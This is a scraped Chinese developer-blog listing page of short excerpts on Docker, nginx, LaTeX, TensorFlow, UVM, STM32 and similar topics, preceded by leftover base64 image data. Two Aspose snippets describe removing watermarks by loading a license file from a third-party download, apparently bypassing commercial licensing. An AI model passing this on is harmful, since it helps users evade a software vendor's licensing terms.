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')` ) 玩转 ASSII-Aar

Docker原理(图解+秒懂+史上最全)

文章很长,建议收藏起来,慢慢读! Java 高并发 发烧友社群:疯狂创客圈 奉上以下珍贵的学习资源: 免费赠送 经典图书:《Java高并发核心编程(卷1)》 面试必备 + 大厂必备 +涨薪必备 加尼恩免费领 免费赠送 经典图书:《Java高并发核心编程(卷2)》 面试必备 + 大厂必备 +涨薪必备 加尼恩免费领 免费赠送 经典图书:《Netty Zookeeper Redis 高并发实战》 面试必备 + 大厂必备 +涨薪必备 加尼恩免费领 免费赠送 经典图书:《SpringCloud Nginx高并发核心编程》 面试必备 + 大厂必备 +涨薪必备 加尼恩免费领 免费赠送 资源宝库: Java 必备 百度网盘资源大合集 价值>10000元 加尼恩领取 推荐:入大厂 、做架构、大力提升Java 内功 的 精彩博文 入大厂 、做架构、大力提升Java 内功 必备的精彩博文2021 秋招涨薪1W + 必备的精彩博文1:Redis 分布式锁 (图解-秒懂-史上最全)2:Zookeeper 分布式锁 (图解-秒懂-史上最全)3: Redis与MySQL双写一致性如何保证? (面试必备)4: 面试必备:秒杀超卖 解决方案 (史上最全)5:面试必备之:Reactor模式6: 10分钟看懂, Java NIO 底层原理7:TCP/IP(图解+秒懂+史上最全)8:Feign原理 (图解)9:DNS图解(秒懂 + 史上最全 + 高薪必备)10:CDN图解(秒懂 + 史上最全 + 高薪必备)11: 分布式事务( 图解 + 史上最全 + 吐血推荐 )12:seata AT模式实战(图解+秒懂+史上最全)13:seata 源码解读(图解+秒懂+史上最全)14:seata TCC模式实战(图解+秒懂+史上最全) Java 面试题 30个专题 , 史上最全 , 面试必刷阿里、京东、美团… 随意挑、横着走!!!1: JVM面试题(史上最强、持续更新、吐血推荐)2:Java基础面试题(史上最全、持续更新、吐血推荐3:架构设计面试题 (史上最全、持续更新、吐血推荐)4:设计模式面试题 (史上最全、持续更新、吐血推荐)17、分布式事务面试题 (史上最全、持续更新、吐血推荐)一致性协议 (史上最全)29、多线程面试题(史上最全)30、HR面经,过五关斩六将后,小心阴沟翻船!9.

cat命令详解

命令语法: Usage: cat [OPTION]... [FILE]... 使用: cat ["选项"] ["文件名"] OPTION(可选项) -A, --show-all equivalent to -vET "相当于 -vET 三个选项" -b, --number-nonblank number nonempty output lines "为非空行加上编号输出(从1开始)" -e equivalent to -vE "相当于 -vE 两个选项" -E, --show-ends display $ at end of each line "在每行的末尾显示$(空行也显示)" -n, --number number all output lines "对所有输出行进行编号" -s, --squeeze-blank suppress repeated empty output lines "禁止重复的空输出行,即相邻的多个空白行输出为一行空白行" -t equivalent to -vT "相当于 -vT 两个选项" -T, --show-tabs display TAB characters as ^I "

aspose.slides-15.9.0 将ppt转为pdf,去除水印

使用aspose.slides-15.9.0.jar将ppt转为pdf实现在线预览,去除水印。 下载地址:https://download.csdn.net/download/qq_31674229/32461644 import com.aspose.slides.License; import com.aspose.slides.Presentation; import com.aspose.slides.SaveFormat; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.util.StringUtils; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; /** * 将ppt转换为pdf */ public class Ppt2PdfUtil { private static Logger logger = LoggerFactory.getLogger(Ppt2PdfUtil.class); public static boolean getLicense() { boolean result = false; InputStream is = null; try { is = Ppt2PdfUtil.class.getClassLoader().getResourceAsStream("license-slides.xml"); // license.xml应放在..\WebRoot\WEB-INF\classes路径下 if(is != null ){ License aposeLic = new License(); aposeLic.setLicense(is); result = true; } } catch (Exception e) { e.

aspose-cells将Excel转为pdf

使用aspose-cells8.5.2将Excel转为pdf,实现在线预览。无水印。 下载地址:https://download.csdn.net/download/qq_31674229/32457846 import com.aspose.cells.License; import com.aspose.cells.PdfSaveOptions; import com.aspose.cells.Workbook; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.util.StringUtils; import java.io.File; import java.io.FileOutputStream; import java.io.InputStream; /** * 将Excel转换为pdf */ public class Excel2PdfUtil { private static Logger logger = LoggerFactory.getLogger(Excel2PdfUtil.class); public static boolean getLicense() { boolean result = false; InputStream is = null; try { is = Excel2PdfUtil.class.getClassLoader().getResourceAsStream("license-cells.xml"); // license.xml应放在..\WebRoot\WEB-INF\classes路径下 if (is != null){ License aposeLic = new License(); aposeLic.setLicense(is); result = true; } } catch (Exception e) { e.

python使用pandas模块设置行列索引后单元数值全变Nan值

问题背景 使用pandas模块设置行列索引后单元数值全变Nan值 代码如下 # 错误 # 构造行索引序列 st_code = ['股票'+str(i) for i in range(st_change.shape[0])] print(st_code) # 添加行索引 data = pd.DataFrame(st_change, index=st_code) data 解决问题 原因分析 这种写法可能不适用 正确写法: 方法1:对dataframe结构的行索引index直接更改,有可能出问题,取决于赋什么值。以前这样做可以,现在不太推荐了 print(st_change.shape) print(st_change.shape[0]) print(st_change.shape[1]) # 构造行索引序列 st_code = ['股票'+ str(i) for i in range(st_change.shape[0])] print(st_code) # 添加行索引 data = pd.DataFrame(st_change) data.index = st_code data 方法2:用rename方法改 df.rename(index={原行索引名:替换行索引名}) data5 = np.random.normal(0,1,(10,5)) data5 = pd.DataFrame(data5) data5.rename(index={0:1,2:22})

latex使用笔记

通讯作者 邮箱图标 nameABC \inst{1}\textsuperscript{\Letter} 多行公式左对齐(用&对齐公式) \begin{equation} \begin{align*} & {{\cal O}_F}=\left\| {{X^v} - {U^v}{{({V^v})}^T}} \right\|_F^2 + {\lambda _1}\sum\limits_{v = 1}^{{n_v}} {(\left\| {{V^v} - {V^v}{S^v}} \right\|_F^2 + {{\left\| {{S^v}} \right\|}_*})} \\ & {\rm{ s}}{\rm{.t}}{\rm{. }}{U^v},{Z^v} \ge 0,{V^v} = A{Z^v} \end{align*} \end{equation} 图、表、公式引用: \ref{XXX} 加粗命令: \textbf{文本} 空格命令: \quad 脚注: uci-digit\footnote[1]{UCI Machine Learning Repository: Data Sets}, 列表命令: \begin{itemize} \item one \item two \item three \end{itemize} latex中如何使表格被文字环绕https://blog.csdn.net/u010158659/article/details/79141682?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163289429216780274183619%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=163289429216780274183619&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-1-79141682.pc_search_ecpm_flag&utm_term=latex+%E8%A1%A8%E6%A0%BC+%E5%86%85%E5%AE%B9%E7%8E%AF%E7%BB%95&spm=1018.2226.3001.4187 Latex插入参考文献编译后出现"?" 1、确定你的bib文件中的引用是正确的2、确定点击Latex编译时可以通过的,也就是工具栏上的这个按钮,点击后能顺利编译3、确定点击是能够顺利通过的。这是L,B的相对位置。4、按照L->B->L->L的顺序执行查看是否正常显示5、如果还没有正常显示,则先用Latex编译,再用XeLatex编译(此处可能会不通过,不用管),接着用Bib编译,最后用Texify再编译一次。查看pdf文档是否正常。不出意外是正常的了。 文献引用 ~\cite{deng_cai_graph_2011} 注:(bib文件编译之后,会生成一个bbl文件的) LaTeX如何输出反斜杠 ‘\’ LaTeX如何输出反斜杠 \_px_cmd的博客-CSDN博客

TypeScript的特性

什么是TypeScript 从 TypeScript 的名字就可以看出来,「类型」是其最核心的特性。 我们知道,JavaScript 是一门非常灵活的编程语言: 它没有类型约束,一个变量可能初始化时是字符串,过一会儿又被赋值为数字。由于隐式类型转换的存在,有的变量的类型很难在运行前就确定。基于原型的面向对象编程,使得原型上的属性或方法可以在运行时被修改。函数是 JavaScript 中的一等公民[2],可以赋值给变量,也可以当作参数或返回值。 这种灵活性就像一把双刃剑,一方面使得 JavaScript 蓬勃发展,无所不能,从 2013 年开始就一直蝉联最普遍使用的编程语言排行榜冠军[3];另一方面也使得它的代码质量参差不齐,维护成本高,运行时错误多。 而 TypeScript 的类型系统,在很大程度上弥补了 JavaScript 的缺点。 TypeScript 是静态类型 TypeScript 是弱类型 类型系统按照「类型检查的时机」来分类,可以分为动态类型和静态类型。 TypeScript 是完全兼容 JavaScript 的,它不会修改 JavaScript 运行时的特性,所以它们都是弱类型。 什么是 TypeScript? TypeScript 是添加了类型系统的 JavaScript,适用于任何规模的项目。 TypeScript 是一门静态类型、弱类型的语言。 TypeScript 是完全兼容 JavaScript 的,它不会修改 JavaScript 运行时的特性。 TypeScript 可以编译为 JavaScript,然后运行在浏览器、Node.js 等任何能运行 JavaScript 的环境中。 TypeScript 拥有很多编译选项,类型检查的严格程度由你决定。 TypeScript 可以和 JavaScript 共存,这意味着 JavaScript 项目能够渐进式的迁移到 TypeScript。 TypeScript 增强了编辑器(IDE)的功能,提供了代码补全、接口提示、跳转到定义、代码重构等能力。 TypeScript 拥有活跃的社区,大多数常用的第三方库都提供了类型声明。 TypeScript 与标准同步发展,符合最新的 ECMAScript 标准(stage 3)。 TypeScript2012-10 :微软发布了TypeScript第一个版本(0.8),从此已经在微软内部开发了两年

nginx通过虚拟主机功能,实现反向代理多个Tomcat服务

需求: 平时经常遇到的问题:甲方的服务器资源吃紧,还想部署一套有正规域名的网站,还不想在url上加端口号; 总结需求: 一台服务器,一个ip,多个项目,多个域名 解决思路: 首先登录域名管理后台,一般服务商都提供dns服务,在里边把这些域名都映射到这个ip 这样外部请求都会访问服务器的80端口用nginx监听80端口,并反向代理到其他端口 具体步骤: window环境 安装nginx 下载地址:nginx: download 下载后解压运行exe即可,然后访问localhost验证一下,正常应该显示nginx欢迎页。 配置host文件,来模拟dns服务,用做测试,host位置在:C:\WINDOWS\system32\drivers\etc,我们添加这两行 保存后,访问这两个域名验证一下设置是否有效,有效会显示nginx欢迎页。(注意设置完host文件后需要重启浏览器才能生效) 安装tomcat 下载地址,解压两份,一个重命名java,修改端口8080为8081,8005为8006,一个重命名python,修改端口8080为8082,8005为8007, 配置tomcat端口的方法在这里,【这里】,然后启动。 做两个测试用的项目:在tomcatjava的webapps文件夹中,创建文件夹,命名JAVA,创建一个index.html,在tomcatpython中的webapps文件夹中,创建文件夹命名为PYTHON,并创建一个index.html,网页内容随意,只要两个网页有区别就行。访问验证一下。 配置nginx,记事本打开nginx根目录conf/nginx.conf。将原来的server{...}部分删掉,插入以下代码。保存,重启nginx进程。 server { listen 80; server_name *.ilovejava.com; location / { proxy_pass http://127.0.0.1:8081/JAVA/; index index.html index.htm; } } server { listen 80; server_name *.ilovepython.com; location / { proxy_pass http://127.0.0.1:8082/PYTHON/; index index.html index.htm; } } 验证一下,两个域名都能独立访问啦! Linux环境 以腾讯云centos为例 1:同上,还是做好dns映射 2:云服务器需要在控制台开放端口,详见腾讯云api 3:云服务器登录后是这样的 4:安装nginx,直接敲 “yum install -y nginx” ,然后启动 ,网络安装的nginx会自动配置systemctl,所以可以使用命令“system start nginx”启动。欢迎页如图。 4:配置nginx,使用“rpm -ql nginx”查找安装文件位置找到nginx.

AxMath安装教程

文章目录 1 软件下载2 软件安装3 在office与wps上安装相应插件3.1 office3.2 wps 1 软件下载 下载链接:https://pan.baidu.com/s/1d7o07xJ_jykhdt_0kZjz1A 提取码:266q 2 软件安装 软件安装流程参考该网址:https://zhuanlan.zhihu.com/p/353074577 3 在office与wps上安装相应插件 3.1 office 打开AxMath设置->高级设置->在Office上创建插件菜单–>确定 3.2 wps 打开WPS,依次点击:开发工具-加载项-添加: 添加路径:AxMath安装路径/Msoffice/AxMath.dotm

UVM实战 卷I学习笔记6——config_db机制

目录 UVM中的路径set与get函数的参数*省略get语句*跨层次的多重设置*同一层次的多重设置*非直线的设置与获取*config_db机制对通配符的支持*check_config_usageset_config与get_configconfig_db的调试 UVM中的路径 一个component内通过get_full_name()函数可以得到此component的路径: function void my_driver::build_phase(); super.build_phase(phase); $display("%s", get_full_name()); endfunction 上述代码如果是在下图所示的层次结构中的my_driver中,那么打印出来的值是uvm_test_top.env.i_agt.drv。 为了方便,上图使用了new函数而不是factory式的create方式来创建实例。图中uvm_test_top实例化时的名字是uvm_test_top,这个名字是由UVM在run_test时自动指定的。uvm_top的名字是__top__,但在显示路径时并不会显示出这个名字,而只显示从uvm_test_top开始的路径。 路径的概念与通常的层次结构不太一样(虽然基本上是一样的)。从图中的my_casen看,drv的层次结构是env.i_agt.drv,其相对于my_casen的相对路径是env.i_agt.drv。 如果drv在new时指定的名字是driver,即:drv = my_driver::type_id::create(“driver”); drv在my_casen看来,层次结构仍是env.i_agt.drv,但其路径变为了env.i_agt.driver。 好的编码习惯是,这种变量名与其实例化时传递的名字不一致的情况应尽量避免。 set与get函数的参数 config_db机制用于在UVM验证平台间传递参数。它们通常都是成对出现的:set是寄信,而get是收信。如在某个测试用例的build_phase中可使用如下方式寄信:uvm_config_db#(int)::set(this, “env.i_agt.drv”, “pre_num”, 100); 前两个参数联合起来组成目标路径,与此路径符合的目标才能收信。第一个参数必须是一个uvm_component实例的指针,第二个参数是相对此实例的路径。第三个参数表示记号,用以说明这个值是传给目标中的哪个成员的,第四个参数是要设置的值。 在driver中的build_phase使用如下方式收信:uvm_config_db#(int)::get(this, “”, “pre_num”, pre_num); get函数中的前两个参数联合起来组成路径。第一个参数也必须是一个uvm_component实例的指针,第二个参数是相对此实例的路径。一般如果第一个参数被设置为this,第二个参数可以是空的字符串。第三个参数就是set函数中的第三个参数,这两个参数必须严格匹配,第四个参数是要设置的变量。 前面在top_tb中通过config_db机制的set函数设置virtual interface时,set函数的第一个参数为null。这种情况UVM会自动把第一个参数替换为uvm_root::get(),即uvm_top。 换句话说,以下两种写法是完全等价的: initial begin uvm_config_db#(virtual my_if)::set(null, "uvm_test_top.env.i_agt.drv", "vif", input_if); end initial begin uvm_config_db#(virtual my_if)::set(uvm_root::get(),"uvm_test_top.env.i_agt.drv","vif",input_if); end 既然set函数的前两个参数联合起来组成路径,那么在某个测试用例的build_phase中可通过如下的方式设置env.i_agt.drv中pre_num_max的值:把this替换为了this.env,第二个参数是my_driver相对于env的路径。 uvm_config_db#(int)::set(this.env, “i_agt.drv”, “pre_num_max”, 100); 同样,get函数的参数也可以使用这种灵活的方式设置。在driver的build_phase中: uvm_config_db#(int)::get(this.parent, "drv", "pre_num_max", pre_num_max); 或者: uvm_config_db#(int)::get(null, "uvm_test_top.env.i_agt.drv", "pre_num_max", pre_num_max); set和get函数中第三个参数可以与get函数中第四个参数不一样。如第四个参数是pre_num,那么第三个参数可以是p_num,只要保持set和get中第三个参数一致即可。可以这样理解:张三给李四寄了一封信,信上写了李四的名字,这样李四可以收到信。但由于保密的需要,张三只是在信上写了“四”这一个字,只要张三跟李四事先约定好了,那么李四一看到上面写着“四”的信就会收下来。 *省略get语句 set与get函数一般都是成对出现,但在某些情况下,是可以只有set而没有get语句,即省略get语句。 假设在my_driver中有成员变量pre_num,把其使用uvm_field_int实现field automation机制: int pre_num; `uvm_component_utils_begin(my_driver) `uvm_field_int(pre_num, UVM_ALL_ON) `uvm_component_utils_end funtion new(string name = "

flink 常见问题

一、问题 1. flink_kafka EXACTLY_ONCE 报错 问题: flink_kafka EXACTLY_ONCE 报错: 2021-10-11 10:43:52,210 WARN [3226] [org.apache.flink.runtime.taskmanager.Task.transitionState(Task.java:1069)] org.apache.flink.runtime.taskmanager.Task - Sink: Unnamed (27/60)#2 (56891e8e1913c5da927e66c5a4c0430e) switched from RUNNING to FAILED with failure cause: org.apache.flink.streaming.connectors.kafka.FlinkKafkaException: Failed to send data to Kafka: Producer attempted an operation with an old epoch. Either there is a newer producer with the same transactionalId, or the producer's transaction has been expired by the broker. at org.apache.flink.streaming.connectors.kafka.FlinkKafkaProducer.checkErroneous(FlinkKafkaProducer.java:1392) at org.apache.flink.streaming.connectors.kafka.FlinkKafkaProducer.invoke(FlinkKafkaProducer.java:850) at org.apache.flink.streaming.connectors.kafka.FlinkKafkaProducer.invoke(FlinkKafkaProducer.java:99) at org.

stm32f103c8t6+HC-05蓝牙模块+L298N电机驱动+直流电机组成的蓝牙遥控小车

先上代码吧,该程序没有太多的stm32编程难点,只是一些基本功能的应用(usart,pwm波的产生等),对于嵌入式小白来说是一个很好的上手项目。 #include "stm32f10x.h" #include "usart.h" #include "delay.h" #include "pwm.h" #include "gpio_outpp_lint.h" uint16_t flag=0;//用来选择模式 uint16_t flag1=0;//选择前进后退左转右转 int a=0; / //PA6(通道1)作为左边两个轮子pwm信号,PA7(通道2)为右边两个轮子pwm信号 int main(void) { GPI0B_OUTPP_Init(RCC_APB2Periph_GPIOB,GPIO_Pin_12|GPIO_Pin_13|GPIO_Pin_14|GPIO_Pin_15); GPIO_ResetBits(GPIOB, GPIO_Pin_12|GPIO_Pin_13|GPIO_Pin_14|GPIO_Pin_15);//PB12,13为左边两个轮子控制信号,PB14,15为右边两个轮子控制信号 GPI0C_OUTPP_Init(RCC_APB2Periph_GPIOC,GPIO_Pin_13);//PC13是stm32f103c8t6板子上的一颗绿色的灯,闪烁时没有进入任何模式,长亮进入模式一,长灭进入模式二 delay_init(); uart_init(9600);//串口初始化,波特率为9600,无奇偶校验位,一个停止位 My_PWMTIM3_Init(1999,71);//设置PA6,PA7pwm波输出,上限1999 while(1){ if(a==0) {GPIO_ResetBits(GPIOC,GPIO_Pin_13); a=1;} else {GPIO_SetBits(GPIOC,GPIO_Pin_13); a=0;} delay_ms(300);//PC13灯闪烁,间隔为300ms flag=USART_ReceiveData(USART1);//flag用来记录第一次串口值,用于模式选择 if(flag==0x05) {GPIO_ResetBits(GPIOC,GPIO_Pin_13);//PC13常亮 while(1);}//此处用来保留模式一的小车操作接口,以后可以在小车上加传感器,通过该模式接口来实现特定功能 if(flag==0x07)//模式二 { GPIO_SetBits(GPIOC,GPIO_Pin_13);//PC13常灭 while(1){ flag1=USART_ReceiveData(USART1);//flag1用来记录之后的串口值,用于判断前进后退左转右转 switch(flag1)//模式二操作 {case 0x01:TIM_SetCompare1(TIM3,1000); TIM_SetCompare2(TIM3,1000); GPIO_SetBits(GPIOB,GPIO_Pin_12); GPIO_ResetBits(GPIOB,GPIO_Pin_13); GPIO_SetBits(GPIOB,GPIO_Pin_14); GPIO_ResetBits(GPIOB,GPIO_Pin_15); //delay_ms(5); break;//前进信号 / case 0x02:TIM_SetCompare1(TIM3,1000); TIM_SetCompare2(TIM3,1000); GPIO_SetBits(GPIOB,GPIO_Pin_13); GPIO_ResetBits(GPIOB,GPIO_Pin_12); GPIO_SetBits(GPIOB,GPIO_Pin_15); GPIO_ResetBits(GPIOB,GPIO_Pin_14); //delay_ms(5); break;//后退信号 / case 0x03:TIM_SetCompare1(TIM3,300); TIM_SetCompare2(TIM3,1000); GPIO_SetBits(GPIOB,GPIO_Pin_13); GPIO_ResetBits(GPIOB,GPIO_Pin_12); GPIO_SetBits(GPIOB,GPIO_Pin_14); GPIO_ResetBits(GPIOB,GPIO_Pin_15); //delay_ms(5); break;//左转信号 / case 0x04:TIM_SetCompare1(TIM3,1000); TIM_SetCompare2(TIM3,300); GPIO_SetBits(GPIOB,GPIO_Pin_12); GPIO_ResetBits(GPIOB,GPIO_Pin_13); GPIO_SetBits(GPIOB,GPIO_Pin_15); GPIO_ResetBits(GPIOB,GPIO_Pin_14); //delay_ms(5); break;//右转信号 / case 0x06:TIM_SetCompare1(TIM3,0); TIM_SetCompare2(TIM3,0); GPIO_SetBits(GPIOB,GPIO_Pin_12); GPIO_SetBits(GPIOB,GPIO_Pin_13); GPIO_SetBits(GPIOB,GPIO_Pin_14); GPIO_SetBits(GPIOB,GPIO_Pin_15); //delay_ms(5); break;//停止信号 default :break; }} }}} //name:Vincent njw QQ:1504012979 glut 一,硬件

import tensorflow.keras as keras 报错No Module named keras

解决使用tf.keras报错问题 问题描述问题解决最终解决 问题描述 环境:win10+anaconda+tf 1.2.0+keras 2.0.6+py 3.6.2 import tensorflow.keras as keras 在使用tensorflow.keras遇到报错说No module named keras 在参考多篇博客后发现并未有相同的情况,具体是指,我甚至未能成功实现下列语句 import tensorflow as tf from tensorflow import keras print(tf.VERSION) print(keras.__version__) print(tf.__path__) print(keras.__path__) 此段代码运行结果为报错:cannot import keras 问题解决 经参考下列博客https://blog.csdn.net/gyx1549624673/article/details/104317816 意识到可能是tf的版本问题,遂升级tf及keras版本至最新 pip install --upgrade tensorflow pip install --upgrade keras 注:tf为CPU版本 但问题是忽略了自己的python编译器版本(离谱),导致报错 from tensorflow.python._pywrap_tensorflow_internal import * ImportError: DLL load failed: 找不到指定的模块。 最终解决 tf与keras版本对应. 经查改网页,确定与自己编译器版本对应的最新tf和对应keras版本,重新下载后成功 更新至指定版本命令 pip install tensorflow ==1.12.0 pip install keras ==2.2.4

anaconda创建虚拟环境并配置

创建虚拟环境 打开anaconda navigator->选择environment->create一个新的环境 ps:给新环境命名的时候千万别用空格,因为可能会导致activate的时候不能激活,别问我怎么知道的 建立完成后可以在…anaconda3->envs中找到建立的环境 配置环境 打开pycharm,点击File->Settings->Python Interpreter,右面的设置按钮选择Add 选择第一个虚拟环境,添加刚才建好的环境 然后确认OK 现在界面的代码就可以采用新配制的环境了

攻防世界|MISC-pdf

1.下载文件打开发现是PDF文件,如果PDF文件可以直接编辑移动图片就可以看到flag,如果不能编辑把PDF文件转换为word文件移动图片就可以看到flag。

tensorflow 无法调用GPU Could not load dynamic library ‘libcudart.so.10.1‘; dlerror: libc

前言: 注意:这里的前提是,公司的tensorflow环境已经弄好了,cuda可以跑,我是新来的实习生,给我开权限访问服务器,我再服务器上跑,才遇到下面问题。如果你是第一次使用tensorflow-gpu,请一步一步好好安装,tensorflow-gpu环境搭建对第一次弄的人来说大概是很头疼的。下载Nvidia的驱动、到cuda官网安装对应显卡版本的cuda,下载对应版本的tensorflow-gpu,可能还要再conda install cudatoolkit=10.1什么的,版本一定要对应,不可马虎,最难的就是版本对应。 使用公司的centos7去跑yolo,太慢,想开启GPU,但是train.py速度很慢,所以就怀疑没有用到GPU,而且从nvidia-smi上也能看出来。 因此,直接python3,打开python命令行,测试cuda是否可以使用。 import tensorflow as tf print(tf.test.is_gpu_available()) #最后是False,而且前面一大串输出。 主要是两个可疑点: 1、…but there must be at least one NUMA node, so returning NUMA node… 2、Could not load dynamic library ‘libcudart.so.10.1’; dlerror: libc… 第一个直接上网搜,但是对我没用,但可以试一下: #在代码中添加一下两行 import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2' 想了一下,应该最重要是第二个点,所以放弃解决第一个可疑点,搜第二个,对我有用:解决方法链接 意思就是,cuda的一些文件没有装齐全,直接一条命令装就好: conda install cudatoolkit=10.1 #注意,cuda工具包的版本自己去看,一定要对应自己的tensorflow的版本!!!!!! #我的tensorflow-gpu是2.3.0的,所以cuda工具包版本为10.1 。 再次运行: import tensorflow as tf print(tf.test.is_gpu_available()) #结果为True,前面也有一些输出,都是提示successful的。

json字符串转换为复杂对象

